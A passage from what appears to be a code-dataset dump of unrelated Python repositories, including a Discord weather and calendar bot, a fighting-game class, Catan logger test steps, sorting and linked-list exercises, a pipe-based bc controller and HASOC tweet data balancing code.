main or weather data list, it means there is no data available for the city entered, likely because the city doesn't exist\n\n print(m)\n \n #note temperatures in the json data is in kelvin, we convert to celcius because who uses kelvin other than chemists\n e = discord.Embed(title=\"The weather for \" +c + \" is\",\n description= (\"The current temperature is: \" +str(int(m.get('temp') - 273.15)) + \" C\" + \"\\n\" +\n \"It is currently \" +str(k[0].get('description')) + \" outside\" + \"\\n\" +\n \"The daily high is: \" +str(int(m.get('temp_max') - 273.15)) + \" C\" + \"\\n\" +\n \"The daily low is: \" +str(int(m.get('temp_min') - 273.15)) + \" C\"))\n e.set_thumbnail(url=\"https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcShaziZ8JDaMtWQyj_DCjKxnKp4f4X8tfeOig&usqp=CAU\") #weather logo\n await ctx.send(embed = e)\n\n except Exception as f:\n print(f)\n await ctx.send(\"{}\".format(ctx.author.mention) +\" NO CITY FOUND!\")\n\n\n\n@bot.command(help=\"Gets the 5 day forecast for a specified city\", aliases = ['forecast'])\nasync def weatherForecast(ctx, *city):\n try:\n c = \" \".join(city)\n URL = FORECAST_URL + \"q=\" + c + \"&appid=\" + key\n response = requests.get(URL)\n data = response.json()\n \n l = data['list']\n\n weatherArr = [int((l[0]['main']['temp'])-273.15), int((l[7]['main']['temp'])-273.15), int((l[15]['main']['temp'])-273.15), \n int((l[23]['main']['temp'])-273.15), int((l[31]['main']['temp'])-273.15), int((l[39]['main']['temp'])-273.15)]\n\n conditionArr = [l[0].get('weather')[0].get('description'), l[7].get('weather')[0].get('description'), l[15].get('weather')[0].get('description'), \n l[23].get('weather')[0].get('description'), l[31].get('weather')[0].get('description'), l[39].get('weather')[0].get('description')]\n day = [\"Today (3h from now)\", \"Tomorrow\", \"In 2 days\", \"In 3 days\", \"In 4 days\", \"In 5 days\"]\n\n e = discord.Embed(title= f\"{c} Weather\", color=0xFF5733)\n\n e.add_field(name=f'**{day[0]}**', value=f'> Weather: {conditionArr[0]}\\n> Temperature {weatherArr[0]} C',inline=False)\n e.add_field(name=f'**{day[1]}**', value=f'> Weather: {conditionArr[1]}\\n> Temperature {weatherArr[1]} C',inline=False)\n e.add_field(name=f'**{day[2]}**', value=f'> Weather: {conditionArr[2]}\\n> Temperature {weatherArr[2]} C',inline=False)\n e.add_field(name=f'**{day[3]}**', value=f'> Weather: {conditionArr[3]}\\n> Temperature {weatherArr[3]} C',inline=False)\n e.add_field(name=f'**{day[4]}**', value=f'> Weather: {conditionArr[4]}\\n> Temperature {weatherArr[4]} C',inline=False)\n e.add_field(name=f'**{day[5]}**', value=f'> Weather: {conditionArr[5]}\\n> Temperature {weatherArr[5]} C',inline=False)\n\n await ctx.send(embed=e)\n\n except Exception as e:\n print(e)\n traceback.print_exc()\n await ctx.send(f\"{ctx.author.mention} You have entered an invalid city!\")\n \n\n\n@bot.command(help=\"generates a calendar in the form of an HTML file with the user specified year and month. Format yyyy mm\", aliases = ['calendar'])\nasync def generateCalendar(ctx, year, month):\n \n try:\n if (int(month) < 1 or int(month) > 12):\n await ctx.send(\"Invalid month entered, please enter a number between 1 and 12 for month, with 1 being January, 2 being February, etc\")\n raise Exception(\"Invalid month entered, please enter a number between 1 and 12 for month, with 1 being January, 2 being February, etc\")\n elif (int(year) < 1 or int(year) > 5000):\n await ctx.send(\"Invalid year entered, please enter a year between 1 and 5000\")\n raise Exception(\"Invalid year entered, please enter a year between 1 and 5000\")\n else:\n \n m = int(month)\n y = int(year)\n cal = calendar.HTMLCalendar(calendar.SUNDAY)\n state = cal.formatmonth(y, m, 0)\n with open('calendar.html', 'w') as f:\n f.write(state) \n\n await ctx.send(\"{}\".format(ctx.author.mention) + \"Here is ur calendar m8\") \n await ctx.send(file=discord.File('calendar.html')) #user must download file and open in a web browser to see the calendar in text form\n\n except Exception as e:\n await ctx.send(\"{}\".format(ctx.author.mention) + \"Bruh, you didn't enter a valid month or year, please try again\")\n print(e)\n\n\n\n@bot.command(help=\"Find what day it will be a specified number of days from now. Enter a negative number to find what day it was that number of days ago\", aliases = ['DFN', 'days'])\nasync def daysFromNow(ctx, num):\n try:\n n = int(num)\n td = timedelta(days = n)\n result = datetime.now() + td\n r = datetime.strftime(result, '%B %d, %Y')\n wd = week[result.weekday()]\n print(r)\n if n >= 0:\n embed=discord.Embed(title= num + \" days from now is: \", description= (wd + \", \" + r), color=0xFF5733)\n await ctx.send(embed = embed)\n else:\n embed=discord.Embed(title= str(abs(n)) + \" days ago was: \", description= (wd + \", \" + r), color=0xFF5733)\n await ctx.send(embed = embed)\n\n except Exception as e:\n print(e)\n await ctx.send(\"{}\".format(ctx.author.mention) + \"You entered an invalid number of days!\")\n\n\n\n@bot.command(help=\"Find days until a specified date. Date format is: yyyy m d\", aliases = ['ND', 'until'])\nasync def daysUntil(ctx, year, month, day):\n try:\n if (int(month) < 1 or int(month) > 12):\n await ctx.send(\"Invalid month entered, please enter a number between 1 and 12 for month, with 1 being January, 2 being February, etc\")\n raise Exception(\"Invalid month entered, please enter a number between 1 and 12 for month, with 1 being January, 2 being February, etc\")\n elif (int(year) < 1 or int(year) > 5000):\n await ctx.send(\"Invalid year entered, please enter a year between 1 and 5000\")\n raise Exception(\"Invalid year entered, please enter a year between 1 and 5000\")\n else:\n m = int(month)\n y = int(year)\n if m == 2: #finds out whether february will have 28 or 29 days\n if y % 4 == 0 and y % 100 != 0:\n if (int(day) < 1 or int(day) > 29):\n raise Exception(\"Invalid date entered\")\n elif y % 100 == 0 and y % 400 == 0:\n if (int(day) < 1 or int(day) > 29):\n raise Exception(\"Invalid date entered\")\n else:\n if (int(day) < 1 or int(day) > 28):\n raise Exception(\"Invalid date entered\")\n \n elif (m == 4 or m == 6 or m == 9 or m == 11): #these months have 30 days\n if (int(day) < 1 or int(day) > 30):\n raise Exception(\"Invalid date entered\")\n\n else:\n if (int(day) < 1 or int(day) > 31): #these months have 31 days\n raise Exception(\"Invalid date entered\")\n\n d = int(day)\n date1 = datetime(y, m, d, 0, 0, 0, 0) #time difference will always be calculated to 0:00am of the specified day, to avoid ambiguities\n td = date1 - datetime.now()\n days = td.total_seconds()/86400\n if days < 0 and days > -1: #if called at 23:59, then it is still the same date, but time difference from 0:00 is almost -1 days difference. We still consider it same day though.\n d = 0\n embed=discord.Embed(title= year + \"/\" + month + \"/\" + day + \" is today!\", color=0xEE5733)\n await ctx.send(embed = embed)\n elif days > 0: #if greater than 0, add 1 to the days, to account for truncating between float and int (while still being sure that no matter what time you call the command, tomorrow is always 1 day away from today)\n d = int(days) + 1\n embed=discord.Embed(title= \"Number of days until \" +year + \"/\" + month + \"/\" + day + \" is:\",\n description= (str(d)), color=0xEE5733)\n await ctx.send(embed = embed)\n else:\n d = int(days) #it doesn't matter actually, we won't return a number of days, just tell user that it has already passed and there is no use finding the time until a date that already passed\n embed=discord.Embed(title= year + \"/\" + month + \"/\" + day + \" has already passed!\",\n description= (\"Next time, maybe enter a date that hasn't already passed\"), color=0xEE5733)\n await ctx.send(embed = embed)\n \n except Exception as e:\n await ctx.send(\"{}\".format(ctx.author.mention) + \"Bruh you didn't enter a valid date m8\")\n print(e)\n\n\n\n@bot.event\nasync def on_command_error(ctx, error):\n if isinstance(error, CommandNotFound):\n await ctx.send(\"ERROR: NO COMMAND WITH THAT NAME WAS FOUND!\")\n\n\n\nbot.run(TOKEN_ID)\n","repo_name":"TonyLiu0226/Rickyboi","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":26580,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"22849874724","text":"from app.talana_kombat_jrpg.constants import (\n ARNOLD_REMUYUKEN_COMBINATION,\n ARNOLD_REMUYUKEN_ENERGY,\n ARNOLD_TALADOKEN_COMBINATION,\n ARNOLD_TALADOKEN_ENERGY,\n ENERGY,\n REMUYUKEN_NAME,\n TALADOKEN_NAME,\n)\nfrom app.talana_kombat_jrpg.fighters.base import Player\nfrom app.talana_kombat_jrpg.moves import Attacks, replace_values_string\nfrom app.talana_kombat_jrpg.utils import GenerateMoves\n\n\nclass Arnaldor(Player):\n def __init__(self):\n self.energy = ENERGY\n self.name = self.__class__.__name__\n\n def get_moves(self, moves):\n moves_message = replace_values_string(moves)\n if ARNOLD_TALADOKEN_COMBINATION in moves_message:\n return GenerateMoves.special(\n self.name,\n moves_message,\n ARNOLD_TALADOKEN_COMBINATION,\n ARNOLD_TALADOKEN_ENERGY,\n TALADOKEN_NAME,\n )\n\n elif ARNOLD_REMUYUKEN_COMBINATION in moves_message:\n return GenerateMoves.special(\n self.name,\n moves_message,\n ARNOLD_REMUYUKEN_COMBINATION,\n ARNOLD_REMUYUKEN_ENERGY,\n REMUYUKEN_NAME,\n )\n elif Attacks.K.value in moves_message or Attacks.P.value in moves_message:\n if Attacks.K.value in moves_message:\n return GenerateMoves.basic_attack(self.name, moves_message, Attacks.K)\n\n if Attacks.P.value in moves_message:\n return GenerateMoves.basic_attack(self.name, moves_message, Attacks.P)\n else:\n return GenerateMoves.basic_moves(self.name, moves_message)\n\n return {}\n","repo_name":"NicoRondonData/RpgGame","sub_path":"app/talana_kombat_jrpg/fighters/arnaldor/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"10960233619","text":"from behave import *\nimport catanlog\nimport catan.game\nimport catan.board\n\n\ndef output_of(log, method, *args, **kwargs):\n method(log, *args, **kwargs)\n with open(log.logpath(), 'r') as fp:\n lines = [line.rstrip() for line in fp.readlines()]\n return lines\n\n\n@when('the game starts')\ndef step_impl(context):\n terrain = list()\n numbers = list()\n for tile in context.board.tiles:\n terrain.append(tile.terrain)\n numbers.append(tile.number)\n context.output = output_of(context.logger,\n catanlog.CatanLog.log_game_start,\n context.players,\n terrain,\n numbers,\n context.board.ports)\n\n\n@when('a \"{roll}\" is rolled')\ndef step_impl(context, roll):\n context.output = output_of(context.logger,\n catanlog.CatanLog.log_player_roll,\n context.cur_player,\n roll)\n\n\n@when('they win the game')\ndef step_impl(context):\n context.output = output_of(context.logger,\n catanlog.CatanLog.log_player_wins,\n context.cur_player)\n\n\n@when('they end their turn')\ndef step_impl(context):\n context.output = output_of(context.logger,\n catanlog.CatanLog.log_player_ends_turn,\n context.cur_player)\n\n\n@when('they move the robber to \"{location}\" and steal from \"{color}\"')\ndef step_impl(context, location, color):\n context.output = output_of(context.logger,\n catanlog.CatanLog.log_player_moves_robber_and_steals,\n context.cur_player,\n location,\n catan.game.Player(1, 'name', color))\n\n\n@when('they buy a \"{piece}\" and build it at \"{location}\"')\ndef step_impl(context, piece, location):\n if piece == 'road':\n method = catanlog.CatanLog.log_player_buys_road\n elif piece == 'settlement':\n method = catanlog.CatanLog.log_player_buys_settlement\n elif piece == 'city':\n method = catanlog.CatanLog.log_player_buys_city\n else:\n raise ValueError('piece must be on of: road, settlement, city')\n\n context.output = output_of(context.logger,\n method,\n context.cur_player,\n location)\n\n\n@when('they buy a dev card')\ndef step_impl(context):\n context.output = output_of(context.logger,\n catanlog.CatanLog.log_player_buys_dev_card,\n context.cur_player)\n\n\n@when('they play a knight, move the robber to \"{location}\" and steal from \"{color}\"')\ndef step_impl(context, location, color):\n context.output = output_of(context.logger,\n catanlog.CatanLog.log_player_plays_knight,\n context.cur_player,\n location,\n catan.game.Player(1, 'name', color))\n\n\n@when('they play a road builder, building at \"{location1}\" and \"{location2}\"')\ndef step_impl(context, location1, location2):\n context.output = output_of(context.logger,\n catanlog.CatanLog.log_player_plays_road_builder,\n context.cur_player,\n location1,\n location2)\n\n\n@when('they play a year of plenty, taking \"{resource1}\" and \"{resource2}\"')\ndef step_impl(context, resource1, resource2):\n context.output = output_of(context.logger,\n catanlog.CatanLog.log_player_plays_year_of_plenty,\n context.cur_player,\n catan.board.Terrain(resource1),\n catan.board.Terrain(resource2))\n\n\n@when('they play a monopoly on \"{resource}\"')\ndef step_impl(context, resource):\n context.output = output_of(context.logger,\n catanlog.CatanLog.log_player_plays_monopoly,\n context.cur_player,\n catan.board.Terrain(resource))\n\n\n@when('they play a victory point')\ndef step_impl(context):\n context.output = output_of(context.logger,\n catanlog.CatanLog.log_player_plays_victory_point,\n context.cur_player)\n\n\n@when('they trade \"{give}\" for \"{get}\" with a \"{port}\" port')\ndef step_impl(context, give, get, port):\n valid_resources = {'wood', 'brick', 'wheat', 'sheep', 'ore'}\n if port == '4:1':\n num_give = 4\n elif port == '3:1':\n num_give = 3\n elif port in valid_resources:\n num_give = 2\n else:\n raise ValueError('invalid port: {}'.format(port))\n\n if give not in valid_resources:\n raise ValueError('invalid resource to give: {}'.format(give))\n\n if get not in valid_resources:\n raise ValueError('invalid resource to get: {}'.format(get))\n\n context.output = output_of(context.logger,\n catanlog.CatanLog.log_player_trades_with_port,\n context.cur_player,\n [(num_give, catan.board.Terrain(give))],\n catan.board.Port(1, 'N', catan.board.PortType(port)),\n [(1, catan.board.Terrain(get))])\n\n\n@when('they compound trade \"{num_give1}\" \"{give1}\" and \"{num_give2}\" \"{give2}\" for \"{get}\" with a \"{port}\" port')\ndef step_impl(context, num_give1, give1, num_give2, give2, get, port):\n valid_resources = {'wood', 'brick', 'wheat', 'sheep', 'ore'}\n valid_ports = {'4:1', '3:1'}\n for res in valid_resources:\n valid_ports.add(res)\n\n if give1 not in valid_resources:\n raise ValueError('invalid resource to give: {}'.format(give1))\n if give2 not in valid_resources:\n raise ValueError('invalid resource to give: {}'.format(give2))\n if get not in valid_resources:\n raise ValueError('invalid resource to get: {}'.format(get))\n\n context.output = output_of(context.logger,\n catanlog.CatanLog.log_player_trades_with_port,\n context.cur_player,\n [(num_give1, catan.board.Terrain(give1)), (num_give2, catan.board.Terrain(give2))],\n catan.board.Port(1, 'N', catan.board.PortType(port)),\n [(2, catan.board.Terrain(get))])\n\n\n@when('they trade \"{num_give1}\" \"{give1}\" and \"{num_give2}\" \"{give2}\" to player \"{color}\" for \"{num_get}\" \"{get}\"')\ndef step_impl(context, num_give1, give1, num_give2, give2, color, num_get, get):\n valid_resources = {'wood', 'brick', 'wheat', 'sheep', 'ore'}\n\n if give1 not in valid_resources:\n raise ValueError('invalid resource to give: {}'.format(give1))\n if give2 not in valid_resources:\n raise ValueError('invalid resource to give: {}'.format(give2))\n if get not in valid_resources:\n raise ValueError('invalid resource to get: {}'.format(get))\n\n context.output = output_of(context.logger,\n catanlog.CatanLog.log_player_trades_with_other_player,\n context.cur_player,\n [(num_give1, catan.board.Terrain(give1)), (num_give2, catan.board.Terrain(give2))],\n catan.game.Player(1, 'name', color),\n [(num_get, catan.board.Terrain(get))])\n","repo_name":"rosshamish/catanlog","sub_path":"spec/steps/whens.py","file_name":"whens.py","file_ext":"py","file_size_in_byte":7629,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"32"} +{"seq_id":"14441913891","text":"import copy\nn = int(input())\na = input().split()\na_sr = []\na_sr_l = []\nfor i in range(n-1):\n if a[i][1] not in a_sr_l:\n for j in range(i+1, n):\n if a[i][1] == a[j][1]:\n if a[i][1] not in a_sr_l:\n a_sr_l.append(a[i][1])\n if len(a_sr) == 0:\n a_sr.append(a[i][0])\n a_sr.append(a[j][0])\na_b = copy.deepcopy(a)\na_s = copy.deepcopy(a)\n# print(a)\n# print(a1)\n# print(a2)\n\n# Bubble Sort\nneighbor = True\nwhile neighbor:\n neighbor = False\n for i in range(n-1, 0, -1):\n if a_b[i][1] < a_b[i-1][1]:\n a_tmp = a_b[i]\n a_b[i] = a_b[i-1]\n a_b[i-1] = a_tmp\n neighbor = True\nfor i in range(n-1):\n print(a_b[i], end=\" \")\nprint(a_b[n-1])\na_b_s = []\na_b_s_l = []\nfor _ in a_sr_l:\n for i in range(n):\n if a_b[i][1] == _ and _ not in a_b_s_l:\n for j in range(i+1, n):\n if a_b[i][1] == a_b[j][1]:\n if a_b[i][1] not in a_b_s_l:\n a_b_s_l.append(a_b[i][1])\n if len(a_b_s) == 0:\n a_b_s.append(a_b[i][0])\n a_b_s.append(a_b[j][0])\n\nif a_b_s != a_sr:\n print(\"Not stable\")\nelse:\n print(\"Stable\")\n# Selection Sort\n# print(a_s)\nfor i in range(n-1):\n tmp_index = i\n for j in range(i+1, n):\n # 最小の値探索\n # print(\"# temp\", tmp_index, \"j\", j)\n if a_s[j][1] < a_s[tmp_index][1]:\n tmp_index = j\n if tmp_index != i:\n # 最小と左端入れ替え\n a_tmp = a_s[i]\n a_s[i] = a_s[tmp_index]\n a_s[tmp_index] = a_tmp\nfor i in range(n-1):\n print(a_s[i], end=\" \")\nprint(a_s[n-1])\na_s_s = []\na_s_s_l = []\nfor _ in a_sr_l:\n for i in range(n):\n if a_s[i][1] == _ and _ not in a_s_s_l:\n for j in range(i+1, n):\n if a_s[i][1] == a_s[j][1]:\n if a_s[i][1] not in a_s_s_l:\n a_s_s_l.append(a_s[i][1])\n if len(a_s_s) == 0:\n a_s_s.append(a_s[i][0])\n a_s_s.append(a_s[j][0])\n# print(\"a_s_s\", a_s_s)\n# print(\"a_sr\", a_sr)\nif a_s_s != a_sr:\n print(\"Not stable\")\nelse:\n print(\"Stable\")\n","repo_name":"higher68/Introduction_to_Algorithms_and_Data_Structures","sub_path":"ALDS1_2_C.py","file_name":"ALDS1_2_C.py","file_ext":"py","file_size_in_byte":2259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"5123318202","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@create: 2017-03-09 15:15:05.\n\n@author:\n\n@desc:\n\"\"\"\n# import os\n# import sys\n# import codecs\n# import shutil\nfrom setuptools import setup, find_packages, findall\nfrom pkg_resources import load_entry_point\n\n\n# print(find_packages())\n# print(findall('pydbgen/_templates'))\n# print(findall('pydbgen/_proto'))\n# print(os.path.join(sys.prefix, 'MyApp', 'CBV'))\n# is_py2 = sys.version_info.major == 2\n# is_windows = sys.platform.startswith('win')\n\n\n# def lf2crlf(path, encoding='utf8'):\n# with codecs.open(path, 'r', encoding=encoding) as fs:\n# data = fs.read()\n\n# with codecs.open(path, 'w', encoding=encoding) as fs:\n# data = data.replace('\\r', '')\n# data = data.replace('\\n', '\\r\\n')\n# fs.write(data)\n\n\ndatas = findall('pydbgen/dbbase/_proto')\ndatas += findall('pydbgen/dbbase/_templates')\ndatas += findall('pydbgen/pbclass/_proto')\ndatas += findall('pydbgen/pbclass/_templates')\ndatas = [i[len('pydbgen/'):] for i in datas]\n\nsetup(\n name=\"pydbgen\",\n version=\"0.0.5\",\n install_requires=[\n 'mako',\n 'autopep8',\n 'grpcio-tools',\n ],\n packages=find_packages('.'),\n package_data={\n 'pydbgen': datas,\n },\n entry_points={\n \"console_scripts\": [\n \"pydbgen=pydbgen.protoc:main\",\n \"protoc-gen-pydbjson=pydbgen.dbbase.protoc_gen_json:main\",\n \"protoc-gen-pydbmysql=pydbgen.dbbase.protoc_gen_mysql:main\",\n \"protoc-gen-pydbpgsql=pydbgen.dbbase.protoc_gen_pgsql:main\",\n \"protoc-gen-pydbmongo=pydbgen.dbbase.protoc_gen_mongodb:main\",\n \"protoc-gen-pydbtmpl=pydbgen.dbbase.protoc_gen_tmpl_multi:main\",\n \"protoc-gen-pypbjson=pydbgen.pbclass.protoc_gen_json:main\",\n \"protoc-gen-pypbclass=pydbgen.pbclass.protoc_gen_tmpl_multi:main\",\n ]\n },\n # scripts=bin_list_build(),\n python_requires=\">=3.6\",\n author=\"ppolxda\",\n author_email=\"sa@sa.com\",\n description=\"pydbgen\",\n license=\"PSF\",\n keywords=\"examples\",\n # url=\"http://example.com/HelloWorld/\",\n)\n","repo_name":"ppolxda/pydbgen","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2072,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"13586176560","text":"# -*-coding:UTF-8 -*\nimport pickle\nfrom Game import *\nfrom Neuron import *\nfrom Player import *\n\nNB_STICKS = 15\n\ngame = Game(NB_STICKS)\n\ncpuPlayer = CPUPlayer('R2D2', 'hard', NB_STICKS)\ncpuPlayer2 = CPUPlayer('Terminator', 'hard', NB_STICKS)\n\ni = 0\nwhile i < 100000:\n game.start(cpuPlayer, cpuPlayer2, False)\n i += 1\n\nprint(\"\\nReseau neuronal de R2D2 :\")\n\nwith open('reseau_neuronal','wb') as output: pickle.dump(cpuPlayer.getNeuronNetwork(),output,pickle.HIGHEST_PROTOCOL)\n\nprint(\"\\nReseau neuronal de Terminator :\")\nprint(cpuPlayer2.getNeuronNetwork().printAllConnections())\n","repo_name":"DecampsRenan/batongame","sub_path":"classes/playHardCpuVsCpu.py","file_name":"playHardCpuVsCpu.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25228141564","text":"#! /usr/bin/python3\r\n\r\nimport os\r\nimport signal\r\n\r\n\r\ndef readLine(fd):\r\n b = os.read(fd, 1)\r\n if b == None:\r\n return None\r\n\r\n ch = b.decode('utf-8')\r\n # print('P_0: char = ' + ch + ' read from = ' + str(fd))\r\n s = ''\r\n while ch != '\\n':\r\n s = s + ch\r\n ch = os.read(fd, 1).decode('utf-8')\r\n return s\r\n\r\n\r\np10r, p10w = os.pipe()\r\n\r\n\r\ncid = os.fork()\r\n\r\nif cid != 0:\r\n os.close(p10r)\r\n\r\n os.dup2(1, p10r)\r\n os.dup2(p10w, 1)\r\n\r\n argv = ['./producer']\r\n os.execve(argv[0], argv, os.environ)\r\n\r\np02r, p02w = os.pipe()\r\np20r, p20w = os.pipe()\r\n\r\ncid = os.fork()\r\n\r\nif cid != 0:\r\n os.close(p02w)\r\n os.close(p20r)\r\n\r\n os.dup2(0, p02w)\r\n os.dup2(1, p20r)\r\n os.dup2(p02r, 0)\r\n os.dup2(p20w, 1)\r\n\r\n argv = ['/usr/bin/bc']\r\n os.execve(argv[0], argv, os.environ)\r\n\r\ncomputed = 0\r\n\r\ndef handle_SIGUSR1(sig, frame):\r\n mess = 'Produced: ' + str(computed) + '\\n'\r\n os.write(2, mess.encode())\r\n\r\nsignal.signal(signal.SIGUSR1, handle_SIGUSR1)\r\n\r\n\r\n# print('Inisializationn complete')\r\ns = readLine(p10r)\r\nwhile s:\r\n # print('P_0: line read = ' + s)\r\n os.write(p02w, (s+'\\n').encode())\r\n res = readLine(p20r)\r\n print(s + ' = ' + res, flush=True)\r\n computed = computed + 1\r\n s = readLine(p10r)","repo_name":"Alalaq/os_tasks","sub_path":"Task2/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29921091177","text":"\ndef gcd(a, b):\n while b:\n a, b = b, a % b\n return a\n \ndef ecg_seq_index(n):\n nums, last, idx = set([1,2]), 2, 1\n while last != n:\n cur = 1\n while cur in nums or gcd(cur, last) == 1:\n cur += 1\n nums.add(cur)\n last = cur\n idx += 1\n return idx\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"9Px2rkc9TPhK54wDb_23.py","file_name":"9Px2rkc9TPhK54wDb_23.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14724834637","text":"#11. Lista zawiera niepowtarzające się elementy. Proszę napisać funkcję do\n#której przekazujemy wskaźnik na początek oraz wartość klucza. Jeżeli\n#element o takim kluczu występuje w liście należy go usunąć z listy. Jeżeli\n#elementu o zadanym kluczu brak w liście należy element o takim kluczu\n#wstawić do listy.\n\nclass node:\n def __init__(self, key = None, next = None):\n self.key = key\n self.next = next\n\nclass linked_list:\n def __init__(self):\n self.first = None\n\n def insert(self, new_key):\n if self.first == None:\n self.first = node(new_key)\n return\n\n tmp = self.first\n while tmp.next:\n tmp = tmp.next\n\n if tmp.next == None:\n tmp.next = node(new_key)\n\n def printlist(self):\n tmp = self.first\n while tmp:\n print(tmp.key)\n tmp = tmp.next\n\n def exists(self, iskey):\n if self.first.key == iskey:\n if self.first.next == None:\n self.first = None\n return\n else:\n tmp = self.first\n self.first = self.first.next\n del tmp\n return\n p = self.first\n while p.next:\n if p.next.key == iskey:\n tmp = p.next\n p.next = tmp.next\n del tmp\n return\n p = p.next\n self.insert(iskey)\n\nf1 = linked_list()\nf1.insert(5)\n#f1.insert(2)\n#f1.insert(3)\nf1.insert(4)\nf1.exists(5)\nf1.printlist()\n\n","repo_name":"mamikula/Introduction-to-Computer-Science","sub_path":"Z07/Z07P11.py","file_name":"Z07P11.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"pl","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"3758234658","text":"'''\n ** This program checks if we can read the input and if each Text and Class \n labels can be read via csv reader without error. Also processes the data.\n'''\n\nimport os\nimport csv\nfrom os import listdir\nfrom os.path import isfile, join\n\n\ndef read_csv(file_name, separator):\n '''This function reads the csv file given by the file_name parameter'''\n try:\n f = open(file_name, 'r', newline='', encoding='utf-8')\n except IOError:\n print('Cannot open the file <{}>'.format(file_name))\n raise SystemExit\n\n csv_read = csv.reader(f, delimiter=separator)\n \n return csv_read\n\n\ndef process_data(data):\n '''This function check if we are getting the same number of comments and the right text/labels\n and also separates the tweets and labels into two different lists'''\n \n # comment count is the count from the first col (\"hasoc_english_261744\")\n # data count is the count from the csv parser (to double check we are parsing correctly)\n\n # tweets and class labels will be stored here\n tweets = []\n labels = []\n\n # data_count starts from the first comments_id\n data = list(data)\n \n for line in data:\n\n # each line in the categorical 'data' is of 3 elements -> id tweet label\n id, tweet, label = line\n\n # making multiple line tweet to a single line\n tweet = tweet.replace('\\n', ' ').replace('\\r', ' ')\n \n # to get the count from comment id (i.e., hasoc_english_1)\n coment_count = int(id.strip().split('_')[2])\n\n # if the following 2 validation is right than the parsing is right\n if label not in ['HOF', 'NOT']:\n # if any of the class label is not right\n print('Parsing Error of Class Label at {}'.format(id))\n raise SystemExit\n \n # append to the corresponding lists\n tweets.append(tweet)\n labels.append(label)\n\n return tweets, labels\n\n\ndef process_unlabelled_data(data):\n '''This function only separates the test data... doesn't consider sequence'''\n\n # id's and tweets will be stored here\n ids = []\n tweets = []\n\n # making list is convenient...\n data = list(data)\n\n # if the file contains a header (text_id\ttext) remove it\n id = data[0][0]\n if str(id.strip().split('_')[0]) != 'hasoc':\n del data[0]\n\n for line in data:\n\n # each line in the test data contains 2 elements -> text_id text\n id, tweet = line\n\n # making multiple line tweet to a single line\n tweet = tweet.replace('\\n', ' ').replace('\\r', ' ')\n\n # append to the corresponding lists\n ids.append(id)\n tweets.append(tweet)\n\n return ids, tweets\n\n\ndef make_balanced(tweets_training, labels_training, tweets_augment, labels_augment):\n '''This function adjust augmented data in a way that if added to the original training it will produce a balance of highes samples'''\n\n new_tweets_augment = []\n new_labels_augment = []\n\n # calculate the how much extra HOF/NOT is needed \n take_hof = 0\n take_not = 0\n count_hof_train = labels_training.count('HOF')\n count_not_train = labels_training.count('NOT')\n count_hof_augmn = labels_augment.count('HOF')\n count_not_augmn = labels_augment.count('NOT')\n\n if (count_hof_train > count_not_train) and (count_hof_augmn > count_not_augmn):\n take_hof = count_not_augmn - (count_hof_train - count_not_train)\n take_not = count_not_augmn\n\n elif (count_not_train > count_hof_train) and (count_not_augmn > count_hof_augmn):\n take_hof = count_hof_augmn\n take_not = count_hof_augmn - (count_not_train - count_hof_train)\n \n elif (count_hof_train > count_not_train) and (count_hof_augmn < count_not_augmn):\n take_hof = count_hof_augmn\n take_not = count_hof_augmn + (count_hof_train - count_not_train)\n\n elif (count_hof_train < count_not_train) and (count_hof_augmn > count_not_augmn):\n take_hof = count_not_augmn + (count_not_train - count_hof_train)\n take_not = count_not_augmn\n\n\n # add HOF and NOT to the new lists\n hof_count = 0\n for tweet, lbl in zip(tweets_augment, labels_augment):\n if hof_count == take_hof:\n break\n\n if lbl == 'HOF':\n new_tweets_augment.append(tweet)\n new_labels_augment.append(lbl)\n hof_count += 1\n\n not_count = 0\n for tweet, lbl in zip(tweets_augment, labels_augment):\n if not_count == take_not:\n break\n\n if lbl == 'NOT':\n new_tweets_augment.append(tweet)\n new_labels_augment.append(lbl)\n not_count += 1\n\n return new_tweets_augment, new_labels_augment\n \n\ndef write_to_file(data_frame, file_name):\n '''This function writes the rows into a text.file (According to Dana's Requirements)'''\n\n with open(file_name, 'w', encoding='utf-8') as file:\n file.write('\\n'.join(data_frame))\n\n\ndef read_balanced_training(balanced_all):\n '''Combines all the files in training folder and returns a balanced corpus'''\n\n train_folder = 'data/train/'\n augment_folder = 'data/augment/'\n\n # get all the files from training and augmented folder\n train_files = [train_folder+f for f in listdir(train_folder) if isfile(join(train_folder, f))]\n augment_files = [augment_folder+f for f in listdir(augment_folder) if isfile(join(augment_folder, f))]\n\n print('Documents in Only Training folder')\n print(train_files)\n print('Documents in Augmented Training folder')\n print(augment_files)\n\n tweets_training = []\n labels_training = []\n\n # reads all the data in all of the files in the training folder\n for file in train_files:\n data_frame = read_csv(file, separator='\\t')\n tweets, labels = process_data(data_frame)\n tweets_training.extend(tweets)\n labels_training.extend(labels)\n\n tweets_augment = []\n labels_augment = []\n\n # reads all the data in all of the files in the training folder\n for file in augment_files:\n data_frame = read_csv(file, separator='\\t')\n tweets, labels = process_data(data_frame)\n tweets_augment.extend(tweets)\n labels_augment.extend(labels)\n\n\n # balancing the augmented dataset w.r.t training data\n if balanced_all:\n tweets_augment, labels_augment = make_balanced(tweets_training, labels_training, tweets_augment, labels_augment)\n\n return tweets_training, labels_training, 